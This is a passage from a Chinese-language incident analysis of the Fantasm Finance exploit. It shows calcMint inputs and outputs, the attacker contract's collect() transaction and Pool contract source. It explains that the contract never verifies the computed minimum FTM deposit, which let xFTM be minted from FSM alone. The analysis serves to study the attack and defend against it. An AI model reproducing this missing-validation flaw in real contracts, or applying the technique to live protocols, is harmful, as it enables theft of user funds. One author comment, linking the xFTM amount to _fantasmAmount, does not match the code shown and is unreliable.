/// @return _minFtmIn : the required amount of FSM input.
/// @return _minFantasmIn : the required amount of FSM input.
/// @return _fee : the fee amount in FTM.
function calcMint(uint256 _ftmIn, uint256 _fantasmIn)
        public
        view
        returns (
            uint256 _xftmOut,
            uint256 _minFtmIn,
            uint256 _minFantasmIn,
            uint256 _fee
        )
输入值分别为：FTM的数量，FSM的数量，
输出值为：可以铸造的 XFTM的数量，所需要的FTM的数量,所需要的FSM的数量，手续费

"input":{
    "_ftmIn":"0" // 输入的ftm为0
    "_fantasmIn":"5720527256067865356" // 输入的fsm为5.72个
}
"output":{
    "_xftmOut":"2618992620259886970084" // 可以铸造的xFTM为2618个
    "_minFtmIn":"2576962648420209746893" // 需要的最少的FTM为2576个
    "_minFantasmIn":"5720527256067865356" // 需要最少的fsm为5.72个
    "_fee":"7730887945260629240" // 需要收取的手续费为7.73个WFTM.
}

重点来了，到现在为至，一切正常，clacMint也给出了最少需要的FTM是2576个，但是遗憾的是，后面并没有验证用户是否真正的传入了2576个FTM，导致在只输入FSM的情况下，并不需要补充FTM，也就是如果FSM的占比为10%，那么就能用价值1u的FSM铸造价值10u的xFTM。。

如下面代码所示，这个漏洞可以说非常遗憾，明明calcMint函数都算出来需要的最少的FTM了，却愣是没有校验…………

3.4 调用collect函数

该函数位于Pool合约中，主要功能是根据userInfo结构体来铸造代币，如果userInfo[_sender].xftmBalance存在的话，就会铸造xFTM。

调用collect函数。交易hash为： 0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9

通过函数的输入和输出，可以看出来，攻击者合约调用了Pool合约的collect方法。

"from":{
    "address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //攻击者合约地址
    "balance":"0"
}
"to":{
    "address":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" //Pool合约地址
    "balance":"0"
}
"value":"0"
"[INPUT]":"0xe5225381" //collect() 方法
"[OUTPUT]":"0x"

将交易hash放在tenderly中看下具体的调用。

调用关系为：攻击合约→Pool合约的Collect()→调用XFTM的_mint方法，从而完成了xFTM的铸造。

从上面的截图中，可以看到token的转移情况，直接从0x0地址给0x94攻击者转移了2618个xFTM代币。

从Pool合约的源代码中，也可以看到调用的过程

从下面的函数代码可以看出来，能mint多少xFTM，是由_fantasmAmount决定的，而_fantasmAmount参数直接来源于userInfo[_sender].xftmBalance

/**
     * @notice collect all minting and redemption
     */
    function collect() external nonReentrant {
        address _sender = msg.sender;
        require(userInfo[_sender].lastAction &lt; block.number, "Pool::collect: &lt;minimum_delay");

        bool _sendXftm = false;
        bool _sendFantasm = false;
        bool _sendFtm = false;
        uint256 _xftmAmount;
        uint256 _fantasmAmount;  //这里是参数定义。
        uint256 _ftmAmount;

        // Use Checks-Effects-Interactions pattern
        if (userInfo[_sender].xftmBalance > 0) {
            _xftmAmount = userInfo[_sender].xftmBalance;
            userInfo[_sender].xftmBalance = 0;
            unclaimedXftm = unclaimedXftm - _xftmAmount;
            _sendXftm = true;
        }

        if (userInfo[_sender].fantasmBalance > 0) {
            _fantasmAmount = userInfo[_sender].fantasmBalance;   //取出调用者的FST的余额
            userInfo[_sender].fantasmBalance = 0;
            unclaimedFantasm = unclaimedFantasm - _fantasmAmount;
            _sendFantasm = true;
        }

        if (userInfo[_sender].ftmBalance > 0) {
            _ftmAmount = userInfo[_sender].ftmBalance;
            userInfo[_sender].ftmBalance = 0;
            unclaimedFtm = unclaimedFtm - _ftmAmount;
            _sendFtm = true;
        }

        if (_sendXftm) {
            xftm.mint(_sender, _xftmAmount);
        }

        if (_sendFantasm) {
            fantasm.mint(_sender, _fantasmAmount);   // 这里是第384行，调用铸造方法._fantasmAmount参数对应着要铸造的数量，这里_fantasmAmount应该为2618
        }